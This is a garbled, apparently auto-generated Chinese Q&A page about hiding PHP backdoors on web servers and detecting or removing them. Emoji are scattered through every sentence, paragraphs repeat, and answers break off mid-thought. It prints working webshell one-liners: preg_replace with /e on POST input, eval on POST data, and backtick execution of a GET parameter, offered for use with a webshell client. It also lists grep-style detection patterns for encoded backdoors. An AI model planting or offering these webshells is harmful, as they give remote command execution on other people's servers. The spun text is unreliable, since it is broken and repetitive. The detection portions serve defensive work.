如何加密PHP的后门
php怎么留后门?？
所谓后门*🦕|🐓，就是一段代码🎊🐈⬛_|🐓*。但是要被触发🎮🤯_🦛，比如😏🐥|_🤭🦟，当你把文件上传到服务器上以后😱🦖-😽😌，打开这个页面😁🦙-🌹，就会直接读取数据库🥈_🎮🎨，比如某些博客程序🧨__🐀😫，别人给你的😭_**，他直接多放了一个文件🐱😽_😝🌘，里面有获取config.php的*————🐫，然后直接显示这个文件的密码配置🐁_🐖，这个就是后门🎋🌾——|🦟。
preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后🥈-🦇，使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> <?php echo `$_GET['r']` ?> //绕过<?限制的一句话@eval_r($_POST[sb]) 等会说🐱⛸-🙊*。
所谓后门*🦕|🐓，就是一段代码🎊🐈⬛_|🐓*。但是要被触发🎮🤯_🦛，比如😏🐥|_🤭🦟，当你把文件上传到服务器上以后😱🦖-😽😌，打开这个页面😁🦙-🌹，就会直接读取数据库🥈_🎮🎨，比如某些博客程序🧨__🐀😫，别人给你的😭_**，他直接多放了一个文件🐱😽_😝🌘，里面有获取config.php的*————🐫，然后直接显示这个文件的密码配置🐁_🐖，这个就是后门🎋🌾——|🦟。
preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后🥈-🦇，使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> <?php echo `$_GET['r']` ?> //绕过<?限制的一句话@eval_r($_POST[sb]) 等会说🐱⛸-🙊*。
eval(base64 匹配经过base64编码后的后门eval(gzuncompress 匹配经过gzip压缩过的后门`*` 匹配类似`$_REQUEST[cmd]`的一句话后门其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)使用方法./findshell.php /home/wwwroot/(此处填写web目录路径)等我继续说🐞🥋|🐕。
从这段代码没有看出能有威胁的地方无论if条件是否成立我想有可能的是这个代码放在项目中是不是会preg_replace 你项目定义的常量 若有高人看出也请指点让俺也学习下🦕__🐽🦐。
怎样查杀 PHP 网站的后门?？
杀毒其实很简单的就直接打开电脑管家——病毒查杀——全盘杀毒杀毒完成后🌩|⛅️，注意重启一下电脑🏆😫-_😙🎁，这样才可以保证病毒彻底被删除🐪🦜__🦓🎴，
所谓的挂马✨🦔——*，就是黑客通过各种手段😱||🎄，包括SQL注入🐿🐍-|🤐🧐，网站敏感文件扫描🥌_——🏈👽，服务器漏洞😞——-🥎😑，网站程序0day, 等各种方法获得网站管理员账号😙😄__*，然后登陆网站后台🪁|🎋🏒，通过数据库备份/恢复或者上传漏洞获得一个webshell🪳|😾🐣。利用获得的webshell修改网站页面的内容🐟——-😭🦋，向页面中加入恶意转向代码🐆——🐪。也可以直接通过弱口令获得服务器或者网站有帮助请点赞🐙🌨-🌛。
我下载了一个PHP加Mysql的源码 怎么检查有没有后门??？
看有没有木马然后你可以检查看下代码中有没有可疑的js代码*-😜🤮，也有可能是马程序的bug这个我就不说了🐐||🪡，难🐃||🏉🐡，任何程序都可能有bug😱😡_——🤡🦉，只是发现与没发现的问题如果是很牛的人的源码🌹|-*😴，人家在程序里面放了马🌕_-🦋，藏得很深的话🦇*-🦗🤑，估计找出来也难🪄|👽，建议还是用出名一点的源码程序🐤——✨！要么自己开发或请人开发🎊_🦒！
去把config.inc.php的主目录utility直接删掉🐝🐒——-🏵，当然在删之前先备份🦚🐞-🥎，以防出现错误🦆_🦀，
用php写的网站可以用什么工具来检查它是否被挂马被植入后门了???
1🌥-|🎁🐑、找挂马的标签🎴_🎐，比如有或*-——*，或者是你用360或病杀毒软件拦截了网马网址😲🌜_🍂☘️。SQL数据库被挂马⚾🦈——🌍🙉，一般是JS挂马🦛🐹——-🕸。2🐰🐪|🐷*、找到了恶意代码后🐚——🦁🐈，接下来就是清马🌿|🦛🌸，如果是网页被挂马🐾-😿🌴，可以用手动清⛳🐕🦺-🐱，也可以用批量清🐐😶--🐑🤮，网页清马比较简单🏏|——😄🪡，这里就不详细讲😓|_🦥*，现在着重讲一下SQL数据库清马🐚🐗-🦁，用这一句语句“update 表名set 等我继续说☹️-♦。
后台文件上传漏洞🍁||🦦*。3🎾🥅__🌹，XSS跨站漏洞🧶🐲——🌼💫，4🦋——-😌，越权查看其它用户的银行卡信息漏洞😅🕷——🎭。以及APP前端里共人工审计出6个网站木马后门文件🐿🦕|-🐷🐱，包含了PHP大马🐺——🌸，PHP一句话木马🌸🎍——🌜😅，PHP加密🌛-🦔，PHP远程调用下载功能的代码🐪_😮，mysql数据库连接代码😧————🦙，EVAL免杀马等等🐀_-🌛✨。我们SINE安全对SQL注入漏洞进行了修复🦊——🐒，对get,post,cookies方式提交的参数有帮助请点赞⚡️——🐵*❄。